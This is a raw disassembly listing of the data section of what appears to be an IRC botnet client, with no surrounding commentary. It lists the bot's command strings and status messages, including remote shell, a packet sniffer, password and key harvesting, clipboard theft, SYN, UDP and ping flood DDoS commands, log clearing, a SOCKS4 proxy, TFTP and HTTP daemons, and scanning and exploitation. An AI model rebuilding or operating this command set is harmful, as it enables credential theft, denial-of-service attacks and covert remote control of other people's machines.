		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aNoCarnivoreThr	db 'No Carnivore thread found.',0
		align 4
unk_437AAC	db    2			; DATA XREF: sub_40EE72+1E49o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aCarnivoreStopp	db 'Carnivore stopped. (%d thread(s) stopped.)',0
		align 4
aOff		db 'off',0              ; DATA XREF: sub_40EE72+1E26o
					; sub_40EE72+1E94o
unk_437AF8	db    2			; DATA XREF: sub_40EE72+1E1Bo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aFailedToSta_27	db 'Failed to start sniffer thread, error: <%d>.',0
		align 4
unk_437B44	db    2			; DATA XREF: sub_40EE72+1DACo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aCarnivorePacke	db 'Carnivore packet sniffer active.',0
		align 4
unk_437B84	db    2			; DATA XREF: sub_40EE72+1D45o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aAlreadyRunni_2	db 'Already running.',0
		align 4
aOn		db 'on',0               ; DATA XREF: sub_40EE72+1D25o
					; sub_40EE72+1E72o
		align 4
aSniff		db 'sniff',0            ; DATA XREF: sub_40EE72+1D10o
		align 10h
aCom_rf		db 'com.rf',0           ; DATA XREF: sub_40EE72+1CF9o
		align 4
aCom_readfile	db 'com.readfile',0     ; DATA XREF: sub_40EE72+1CE2o
		align 4
aCom_cm		db 'com.cm',0           ; DATA XREF: sub_40EE72+1CCBo
		align 10h
aCom_cmd	db 'com.cmd',0          ; DATA XREF: sub_40EE72+1CB4o
aMirc_cmd	db 'mirc.cmd',0         ; DATA XREF: sub_40EE72+1C86o
					; sub_40EE72+1C9Do
		align 4
aIrc_v		db 'irc.v',0            ; DATA XREF: sub_40EE72+1C6Fo
		align 4
aIrc_visit	db 'irc.visit',0        ; DATA XREF: sub_40EE72+1C58o
		align 4
aCom_fl		db 'com.fl',0           ; DATA XREF: sub_40EE72+1C41o
		align 10h
aCom_filelist	db 'com.filelist',0     ; DATA XREF: sub_40EE72+1C2Ao
		align 10h
aDcc_gt		db 'dcc.gt',0           ; DATA XREF: sub_40EE72+1C13o
		align 4
aDcc_get	db 'dcc.get',0          ; DATA XREF: sub_40EE72+1BFCo
aCom_del	db 'com.del',0          ; DATA XREF: sub_40EE72+1BE5o
aCom_delete	db 'com.delete',0       ; DATA XREF: sub_40EE72+1BCEo
		align 4
aCom_pkid	db 'com.pkid',0         ; DATA XREF: sub_40EE72+1BB7o
		align 10h
aCom_prockillid	db 'com.prockillid',0   ; DATA XREF: sub_40EE72+1BA0o
		align 10h
aCom_kpn	db 'com.kpn',0          ; DATA XREF: sub_40EE72+1B89o
aCom_killprocna	db 'com.killprocname',0 ; DATA XREF: sub_40EE72+1B72o
		align 4
aIrc_dn		db 'irc.dn',0           ; DATA XREF: sub_40EE72+1B5Bo
		align 4
aIrc_dns	db 'irc.dns',0          ; DATA XREF: sub_40EE72+1B44o
aIrc_se		db 'irc.se',0           ; DATA XREF: sub_40EE72+1B2Do
		align 4
aIrc_setserve	db 'irc.setserve',0     ; DATA XREF: sub_40EE72+1B16o
		align 4
aCom_o		db 'com.o',0            ; DATA XREF: sub_40EE72+1AFFo
		align 4
aCom_open	db 'com.open',0         ; DATA XREF: sub_40EE72+1AE8o
		align 4
aIrc_pr		db 'irc.pr',0           ; DATA XREF: sub_40EE72+1AD1o
		align 10h
aIrc_prefix	db 'irc.prefix',0       ; DATA XREF: sub_40EE72+1ABAo
		align 4
aClone_rn	db 'clone.rn',0         ; DATA XREF: sub_40EE72+1AA3o
		align 4
aClone_rndnick	db 'clone.rndnick',0    ; DATA XREF: sub_40EE72+1A8Co
		align 4
aClone_q	db 'clone.q',0          ; DATA XREF: sub_40EE72+1A75o
aClone_quit	db 'clone.quit',0       ; DATA XREF: sub_40EE72+1A5Eo
		align 4
aThreads_k	db 'threads.k',0        ; DATA XREF: sub_40EE72+1A47o
		align 4
aThreads_kill	db 'threads.kill',0     ; DATA XREF: sub_40EE72+1A30o
		align 4
aIrc_ra		db 'irc.ra',0           ; DATA XREF: sub_40EE72+1A19o
		align 10h
aIrc_raw	db 'irc.raw',0          ; DATA XREF: sub_40EE72+1A02o
aIrc_pt		db 'irc.pt',0           ; DATA XREF: sub_40EE72+19EBo
		align 10h
aIrc_part	db 'irc.part',0         ; DATA XREF: sub_40EE72+19D4o
		align 4
aIrc_j		db 'irc.j',0            ; DATA XREF: sub_40EE72+19BDo
		align 4
aIrc_join	db 'irc.join',0         ; DATA XREF: sub_40EE72+19A6o
		align 10h
aIrc_n		db 'irc.n',0            ; DATA XREF: sub_40EE72+198Fo
		align 4
aIrc_nick	db 'irc.nick',0         ; DATA XREF: sub_40EE72+1978o
		align 4
aSa		db 'sa',0               ; DATA XREF: sub_40EE72+1952o
		align 4
aAsc		db 'asc',0              ; DATA XREF: sub_40EE72+193Do
aCom_fp		db 'com.fp',0           ; DATA XREF: sub_40EE72+1928o
		align 4
aCom_findpass	db 'com.findpass',0     ; DATA XREF: sub_40EE72+1913o
		align 4
aDaemon_tf_on	db 'daemon.tf.on',0     ; DATA XREF: sub_40EE72+18FEo
		align 4
aDaemon_tftp_on	db 'daemon.tftp.on',0   ; DATA XREF: sub_40EE72+18E9o
		align 4
aDaemon_web_on	db 'daemon.web.on',0    ; DATA XREF: sub_40EE72+18D4o
		align 4
aDaemon_httpd_o	db 'daemon.httpd.on',0  ; DATA XREF: sub_40EE72+18BFo
aDaemon_rl_on	db 'daemon.rl.on',0     ; DATA XREF: sub_40EE72+18AAo
		align 4
aDaemon_rlogi_0	db 'daemon.rlogin.on',0 ; DATA XREF: sub_40EE72+1895o
		align 4
aRoot_cip	db 'root.cip',0         ; DATA XREF: sub_40EE72+1880o
		align 4
aRoot_currentip	db 'root.currentip',0   ; DATA XREF: sub_40EE72+186Bo
		align 4
aUtil_fdns	db 'util.fdns',0        ; DATA XREF: sub_40EE72+1856o
		align 10h
aUtil_flushdns	db 'util.flushdns',0    ; DATA XREF: sub_40EE72+1841o
		align 10h
aUtil_farp	db 'util.farp',0        ; DATA XREF: sub_40EE72+182Co
		align 4
aUtil_flusharp	db 'util.flusharp',0    ; DATA XREF: sub_40EE72+1817o
		align 4
aCom_gc		db 'com.gc',0           ; DATA XREF: sub_40EE72+1802o
		align 4
aCom_getclip	db 'com.getclip',0      ; DATA XREF: sub_40EE72+17EDo
dword_437E50	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+17DDo
		dd 2BBBB02h
aLoginListCompl	db '  Login list complete.',0
		align 10h
aD_S		db '%d. %s',0           ; DATA XREF: sub_40EE72+17A9o
		align 4
aEmpty		db '<Empty>',0          ; DATA XREF: sub_40EE72+179Co
aLoginList	db '-[Login List]-',0   ; DATA XREF: sub_40EE72+177Ao
		align 10h
aIrc_who	db 'irc.who',0          ; DATA XREF: sub_40EE72+1761o
aCmd		db '[CMD]',0            ; DATA XREF: sub_40EE72+1756o
		align 10h
aRemoteShell	db 'Remote shell',0     ; DATA XREF: sub_40EE72+1751o
		align 10h
aCom_ocmd_off	db 'com.ocmd.off',0     ; DATA XREF: sub_40EE72+1738o
		align 10h
aCom_ocmd	db 'com.ocmd',0         ; DATA XREF: sub_40EE72+1723o
		align 4
aCom_opencmd	db 'com.opencmd',0      ; DATA XREF: sub_40EE72+170Eo
aCom_dll	db 'com.dll',0          ; DATA XREF: sub_40EE72+16F9o
aCom_testdlls	db 'com.testdlls',0     ; DATA XREF: sub_40EE72+16E4o
		align 10h
aCom_drv	db 'com.drv',0          ; DATA XREF: sub_40EE72+16CFo
aCom_driveinfo	db 'com.driveinfo',0    ; DATA XREF: sub_40EE72+16BAo
		align 4
aCom_up		db 'com.up',0           ; DATA XREF: sub_40EE72+16A5o
		align 10h
aCom_uptime	db 'com.uptime',0       ; DATA XREF: sub_40EE72+1690o
		align 4
aCom_key	db 'com.key',0          ; DATA XREF: sub_40EE72+167Bo
aCom_harvest	db 'com.harvest',0      ; DATA XREF: sub_40EE72+1666o
aCom_ps		db 'com.ps',0           ; DATA XREF: sub_40EE72+1651o
		align 4
aCom_procs	db 'com.procs',0        ; DATA XREF: sub_40EE72+163Co
		align 4
aIrc_rm0	db 'irc.rm0',0          ; DATA XREF: sub_40EE72+1627o
aIrc_rem0ve	db 'irc.rem0ve',0       ; DATA XREF: sub_40EE72+1612o
		align 4
aCom_si		db 'com.si',0           ; DATA XREF: sub_40EE72+15FDo
		align 10h
aCom_sysinfo	db 'com.sysinfo',0      ; DATA XREF: sub_40EE72+15E8o
unk_437F7C	db    2			; DATA XREF: sub_40EE72+15DDo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	75h, 70h
		db  65h	; e
		db 72h,	73h, 79h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_28	db ' Failed to start flood thread, error: <%d>.',0
		align 4
unk_437FC8	db    2			; DATA XREF: sub_40EE72+156Eo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	75h, 70h
		db  65h	; e
		db 72h,	73h, 79h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFloodingSSFo_1	db ' Flooding: (%s:%s) for %s seconds.',0
aDdos_supersyn	db 'ddos.supersyn',0    ; DATA XREF: sub_40EE72+14D8o
		align 4
aCom_ni		db 'com.ni',0           ; DATA XREF: sub_40EE72+14C3o
		align 10h
aCom_netinfo	db 'com.netinfo',0      ; DATA XREF: sub_40EE72+14AEo
aUtil_clg	db 'util.clg',0         ; DATA XREF: sub_40EE72+1499o
		align 4
aUtil_clearlog	db 'util.clearlog',0    ; DATA XREF: sub_40EE72+1484o
		align 4
aIrc_lg		db 'irc.lg',0           ; DATA XREF: sub_40EE72+146Fo
		align 10h
aIrc_log	db 'irc.log',0          ; DATA XREF: sub_40EE72+145Ao
aIrc_al		db 'irc.al',0           ; DATA XREF: sub_40EE72+1445o
		align 10h
aIrc_aliases	db 'irc.aliases',0      ; DATA XREF: sub_40EE72+1430o
aThreads_l	db 'threads.l',0        ; DATA XREF: sub_40EE72+141Bo
		align 4
aThreads_list	db 'threads.list',0     ; DATA XREF: sub_40EE72+1406o
		align 4
dword_438088	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+13D2o
		dd 2BBBB02h
aFailedToReboot	db '  Failed to reboot system.',0
		align 4
dword_4380BC	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+13CBo
		dd 2BBBB02h
aRebootingSyste	db '  Rebooting system.',0
aCom_rebewt	db 'com.rebewt',0       ; DATA XREF: sub_40EE72+13B4o
		align 4
aIrc_i		db 'irc.i',0            ; DATA XREF: sub_40EE72+139Fo
		align 4
aIrc_id		db 'irc.id',0           ; DATA XREF: sub_40EE72+138Ao
		align 4
aIrc_s		db 'irc.s',0            ; DATA XREF: sub_40EE72+1375o
		align 4
aIrc_status	db 'irc.status',0       ; DATA XREF: sub_40EE72+1360o
		align 4
aIrc_q		db 'irc.q',0            ; DATA XREF: sub_40EE72+134Bo
		align 10h
aIrc_quit	db 'irc.quit',0         ; DATA XREF: sub_40EE72+1336o
		align 4
aIrc_d		db 'irc.d',0            ; DATA XREF: sub_40EE72+1321o
		align 4
aIrc_disconnect	db 'irc.disconnect',0   ; DATA XREF: sub_40EE72+130Co
		align 4
aIrc_r		db 'irc.r',0            ; DATA XREF: sub_40EE72+12F7o
		align 4
aIrc_reconnect	db 'irc.reconnect',0    ; DATA XREF: sub_40EE72+12E2o
		align 4
aRoot_st	db 'root.st',0          ; DATA XREF: sub_40EE72+12CDo
aRoot_stats	db 'root.stats',0       ; DATA XREF: sub_40EE72+12B8o
		align 10h
aExploitation	db 'Exploitation',0     ; DATA XREF: sub_40EE72+12ADo
		align 10h
aScan		db 'Scan',0             ; DATA XREF: sub_40EE72+12A8o
		align 4
aRoot_stop	db 'root.stop',0        ; DATA XREF: sub_40EE72+128Fo
		align 4
dword_438194	dd 65027302h, 1F727563h, 2E2E1F65h, 0 ;	DATA XREF: sub_40EE72+1284o
aSecure_0	db 'Secure',0           ; DATA XREF: sub_40EE72+127Fo
		align 4
aLockdown_stop	db 'lockdown.stop',0    ; DATA XREF: sub_40EE72+1266o
		align 4
dword_4381BC	dd 6C026302h, 1F656E6Fh, 2E2E1F73h, 0 ;	DATA XREF: sub_40EE72+125Bo
aClone		db 'Clone',0            ; DATA XREF: sub_40EE72+1256o
		align 4
aClone_off	db 'clone.off',0        ; DATA XREF: sub_40EE72+123Do
		align 10h
aCom_ps_off	db 'com.ps.off',0       ; DATA XREF: sub_40EE72+1228o
		align 4
aCom_procs_off	db 'com.procs.off',0    ; DATA XREF: sub_40EE72+1213o
		align 4
aUtil_ff_off	db 'util.ff.off',0      ; DATA XREF: sub_40EE72+11FEo
aUtil_findfile_	db 'util.findfile.off',0 ; DATA XREF: sub_40EE72+11E9o
		align 4
dword_43821C	dd 66027402h, 641F7074h, 2E2E1Fh ; DATA	XREF: sub_40EE72+11DEo
aDaemon_tftp_of	db 'daemon.tftp.off',0  ; DATA XREF: sub_40EE72+11C0o
dword_438238	dd 69027002h, 1F671F6Eh, 2E2Eh ; DATA XREF: sub_40EE72+11B5o
dword_438244	dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_40EE72+11B0o
dword_438250	dd 736F6464h, 6E69702Eh, 666F2E67h, 66h	; DATA XREF: sub_40EE72+1197o
dword_438260	dd 64027502h, 2E1F701Fh, 2Eh ; DATA XREF: sub_40EE72+118Co
dword_43826C	dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_40EE72+1187o
dword_438278	dd 736F6464h, 7064752Eh, 66666F2Eh, 0 ;	DATA XREF: sub_40EE72+116Eo
dword_438288	dd 79027302h, 2E1F6E1Fh, 2Eh ; DATA XREF: sub_40EE72+1163o
dword_438294	dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_40EE72+115Eo
dword_4382A0	dd 736F6464h, 6E79732Eh, 66666F2Eh, 0 ;	DATA XREF: sub_40EE72+1145o
dword_4382B0	dd 64026402h, 1F731F6Fh, 2E2Eh ; DATA XREF: sub_40EE72+113Ao
dword_4382BC	dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_40EE72+1135o
dword_4382C8	dd 736F6464h, 66666F2Eh, 0 ; DATA XREF:	sub_40EE72+111Co
dword_4382D4	dd 65027202h, 65726964h, 1F741F63h, 2E2Eh ; DATA XREF: sub_40EE72+1111o
dword_4382E4	dd 20504354h, 69646572h, 74636572h, 0 ;	DATA XREF: sub_40EE72+110Co
aProxy_redirect	db 'proxy.redirect.off',0 ; DATA XREF: sub_40EE72+10F3o
		align 4
dword_438308	dd 6F026C02h, 2E1F671Fh, 2Eh ; DATA XREF: sub_40EE72+10E8o
dword_438314	dd 20676F4Ch, 7473696Ch, 0 ; DATA XREF:	sub_40EE72+10E3o
dword_438320	dd 2E676F6Ch, 66666Fh	; DATA XREF: sub_40EE72+10CAo
dword_438328	dd 74026802h, 641F7074h, 2E2E1Fh ; DATA	XREF: sub_40EE72+10C2o
dword_438334	dd 6D656164h, 772E6E6Fh, 6F2E6265h, 6666h ; DATA XREF: sub_40EE72+10A4o
dword_438344	dd 6C027202h, 6E69676Fh, 2E1F641Fh, 2Eh	; DATA XREF: sub_40EE72+109Co
aDaemon_rlogin_	db 'daemon.rlogin.off',0 ; DATA XREF: sub_40EE72+107Eo
		align 4
dword_438368	dd 6F027302h, 1F736B63h, 2E2E1F34h, 0 ;	DATA XREF: sub_40EE72+105Co
aServer		db 'Server',0           ; DATA XREF: sub_40EE72+1057o
					; sub_40EE72+1097o ...
		align 10h
aProxy_socks4_0	db 'proxy.socks4.off',0 ; DATA XREF: sub_40EE72+103Eo
		align 4
aProxy_s4_on	db 'proxy.s4.on',0      ; DATA XREF: sub_40EE72+1029o
aProxy_socks4_o	db 'proxy.socks4.on',0  ; DATA XREF: sub_40EE72+1014o
aLd_off		db 'ld.off',0           ; DATA XREF: sub_40EE72+FFFo
		align 4
aLockdown_off	db 'lockdown.off',0     ; DATA XREF: sub_40EE72+FEAo
		align 4
aLd_on		db 'ld.on',0            ; DATA XREF: sub_40EE72+FD5o
		align 10h
aLockdown_on	db 'lockdown.on',0      ; DATA XREF: sub_40EE72+FC0o
aVer		db 'ver',0              ; DATA XREF: sub_40EE72+FABo
aIrc_version	db 'irc.version',0      ; DATA XREF: sub_40EE72+F96o
aLo		db 'lo',0               ; DATA XREF: sub_40EE72+F81o
		align 10h
aIrc_logout	db 'irc.logout',0       ; DATA XREF: sub_40EE72+F6Co
		align 4
aIrc_di		db 'irc.di',0           ; DATA XREF: sub_40EE72+F57o
		align 4
aIrc_die	db 'irc.die',0          ; DATA XREF: sub_40EE72+F42o
aRn		db 'rn',0               ; DATA XREF: sub_40EE72+F2Do
		align 10h
aIrc_rndnick	db 'irc.rndnick',0      ; DATA XREF: sub_40EE72+F15o
a63		db '63',0               ; DATA XREF: sub_40EE72+DEEo
		align 10h
asc_438420:				; DATA XREF: sub_40EE72+DC6o
		unicode	0, <)>,0
aChr		db '$chr(',0            ; DATA XREF: sub_40EE72+D89o
		align 4
aServer_1	db '$server',0          ; DATA XREF: sub_40EE72+D7Eo
aRndnick	db '$rndnick',0         ; DATA XREF: sub_40EE72+D6Do
		align 10h
aChan		db '$chan',0            ; DATA XREF: sub_40EE72+D51o
		align 4
aUser_2		db '$user',0            ; DATA XREF: sub_40EE72+D40o
		align 10h
aMe_0		db '$me',0              ; DATA XREF: sub_40EE72+D2Eo
aD		db '$%d',0              ; DATA XREF: sub_40EE72+CC0o
aD_0		db '$%d-',0             ; DATA XREF: sub_40EE72+C05o
		align 10h
aC_0:					; DATA XREF: sub_40EE72+B19o
		unicode	0, <c>,0
dword_438464	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+AE4o
		dd 2BBBB02h
aChatFailedByUn	db '  Chat failed by unauthorized user: %s.',0
dword_4384A4	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+AD6o
		dd 2BBBB02h
aChatAlreadyAct	db '  Chat already active with user: %s.',0
		align 4
dword_4384E4	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+AC8o
		dd 2BBBB02h
aFailedToSta_29	db '  Failed to start chat thread, error: <%d>.',0
dword_438528	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+A59o
		dd 2BBBB02h
aChatFromUserS_	db '  Chat from user: %s.',0
		align 4
aChat		db 'CHAT',0             ; DATA XREF: sub_40EE72+9BFo
		align 10h
dword_438560	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+99Co
		dd 2BBBB02h
aReceiveFileSFa	db '  Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0
dword_4385B0	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+984o
					; sub_40EE72+4ABCo
		dd 2BBBB02h
aFailedToSta_30	db '  Failed to start transfer thread, error: <%d>.',0
dword_4385F8	dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
					; DATA XREF: sub_40EE72+973o
		dd 0A0Dh
dword_438610	dd 4E495001h, 47h	; DATA XREF: sub_40EE72+93Fo
aSHasJustVersio	db '%s has just versioned me.',0 ; DATA XREF: sub_40EE72+8F9o
		align 4
dword_438634	dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
					; DATA XREF: sub_40EE72+8DCo
		dd 0D017325h, 0Ah
dword_438650	dd 52455601h, 4E4F4953h, 1 ; DATA XREF:	sub_40EE72+8ABo
dword_43865C	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+791o
		dd 2BBBB02h
aReceiveFileSFr	db '  Receive file: ',27h,'%s',27h,' from user: %s.',0
aSend_0		db 'SEND',0             ; DATA XREF: sub_40EE72+6E8o
		align 10h
dword_4386A0	dd 43434401h, 0		; DATA XREF: sub_40EE72+6CAo
dword_4386A8	dd 323333h		; DATA XREF: sub_40EE72+651o
					; sub_40EE72+B4Fo ...
dword_4386AC	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5D2o
		dd 2BBBB02h
aUserSLoggedOut	db '  User: %s logged out.',0
		align 4
dword_4386DC	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5ABo
		dd 2BBBB02h
aJoinedChanne_0	db '  Joined channel: %s.',0
		align 4
a353		db '353',0              ; DATA XREF: sub_40EE72+574o
aPart		db 'PART',0             ; DATA XREF: sub_40EE72+526o
					; sub_40EE72+5EFo
		align 4
aSS_0		db ':%s%s',0            ; DATA XREF: sub_40EE72+4FEo
		align 10h
aNick		db 'NICK',0             ; DATA XREF: sub_40EE72+3D0o
		align 4
aNoticeSS	db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+371o
					; sub_40EE72+613o
dword_438738	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+355o
					; sub_40EE72+5FF2o ...
		dd 2BBBB02h
aUserSLoggedO_0	db '  User %s logged out.',0
		align 4
aKick		db 'KICK',0             ; DATA XREF: sub_40EE72+2E4o
		align 10h
aNickS		db 'NICK %s',0Dh,0Ah,0  ; DATA XREF: sub_40EE72+28Do
					; sub_40EE72+4EB5o ...
		align 4
a433		db '433',0              ; DATA XREF: sub_40EE72+262o
a@:					; DATA XREF: sub_40EE72+23Ao
		unicode	0, <@>,0
a302		db '302',0              ; DATA XREF: sub_40EE72+22Ao
a005		db '005',0              ; DATA XREF: sub_40EE72+215o
a001		db '001',0              ; DATA XREF: sub_40EE72+200o
aJoinSS		db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+1E4o
					; sub_40EE72+3B7o ...
		align 10h
aPongS		db 'PONG %s',0Dh,0Ah,0  ; DATA XREF: sub_40EE72+1C3o
		align 4
aPing		db 'PING',0             ; DATA XREF: sub_40EE72+1A9o
		align 4
asc_4387B4:				; DATA XREF: sub_40EE72+19Ao
					; sub_40EE72+60F9o
		unicode	0, <!>,0
asc_4387B8	db ' :',0               ; DATA XREF: sub_40EE72+86o
					; sub_40EE72:loc_40FA19o
		align 4
aSD_0		db ' %s (%d)',0         ; DATA XREF: sub_415188+120o
		align 4
unk_4387C8	db    2			; DATA XREF: sub_415339:loc_4153C0o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aProcessListFai	db 'Process list failed.',0
		align 10h
unk_438800	db    2			; DATA XREF: sub_415339+80o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aProcessListCom	db 'Process list completed.',0
unk_438838	db    2			; DATA XREF: sub_415339+19o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aListingProcess	db 'Listing processes:',0
		align 4
dword_43886C	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: ___:00415667o
		dd 2029671Fh, 2BBBB02h
aUserLoggedOutS	db '  User logged out: <%s@%s>.',0
dword_4388A4	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: ___:00415640o
		dd 2029671Fh, 2BBBB02h
aErrorSessionru	db '  Error: SessionRun(): <%d>.',0
		align 10h
dword_4388E0	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: ___:00415620o
		dd 2029671Fh, 2BBBB02h
aUserLoggedInS@	db '  User logged in: <%s@%s>.',0
		align 4
aPermissionDeni	db 'Permission denied',0Ah,0 ; DATA XREF: ___:004155F0o
		align 4
dword_43892C	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: ___:0041555Fo
		dd 2029671Fh, 2BBBB02h
aErrorGetpeerna	db '  Error: getpeername(): <%d>.',0
		align 4
dword_438968	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_415683:loc_4156C8o
		dd 2029671Fh, 2BBBB02h
aProtocolString	db '  Protocol string too long.',0
dword_4389A0	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_4156DD+1Bo
		dd 2029671Fh, 2BBBB02h,	6F4C2020h, 206E6967h, 656A6572h
		dd 64657463h, 6552202Ch, 65746F6Dh, 65737520h, 3C203A72h
		dd 25407325h, 2E3E73h, 7A026E02h, 201F6D1Fh, 6F6C7228h
		dd 646E6967h, 6C1F702Eh, 2029671Fh, 2BBBB02h, 72452020h
		dd 3A726F72h, 72657320h, 20726576h, 6C696166h, 202C6465h
		dd 75746572h, 64656E72h, 253C203Ah, 2E3E64h, 7A026E02h
		dd 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh, 2029671Fh
		dd 2BBBB02h, 61462020h,	64656C69h, 206F7420h, 72617473h
		dd 6C632074h, 746E6569h, 72687420h, 2C646165h, 72726520h
		dd 203A726Fh, 3E64253Ch, 2Eh, 7A026E02h, 201F6D1Fh, 6F6C7228h
		dd 646E6967h, 6C1F702Eh, 2029671Fh, 2BBBB02h, 6C432020h
		dd 746E6569h, 6E6F6320h, 7463656Eh, 206E6F69h, 6D6F7266h
		dd 3A504920h, 3A732520h, 202C6425h, 76726553h, 74207265h
		dd 61657268h, 25203A64h, 2E64h,	7A026E02h, 201F6D1Fh, 6F6C7228h
		dd 646E6967h, 6C1F702Eh, 2029671Fh, 2BBBB02h, 65522020h
		dd 20796461h, 20646E61h, 74696177h, 20676E69h, 20726F66h
		dd 6F636E69h, 676E696Dh, 6E6F6320h, 7463656Eh, 736E6F69h
		dd 2Eh,	7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
		dd 2029671Fh, 2BBBB02h,	61462020h, 64656C69h, 206F7420h
		dd 74736E69h, 206C6C61h, 746E6F63h, 2D6C6F72h, 61682043h
		dd 656C646Eh, 65202C72h, 726F7272h, 253C203Ah, 2E3E64h
		dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
		dd 2029671Fh, 2BBBB02h,	72452020h, 3A726F72h, 41535720h
		dd 72617453h, 28707574h, 3C203A29h, 2E3E6425h, 0
aConst		db 'const',0
		align 4
		dd 0
dword_438BAC	dd 1			; DATA XREF: sub_415CFF+7o
off_438BB0	dd offset sub_415994	; DATA XREF: sub_415CFF+49r
aLetter		db 'letter',0
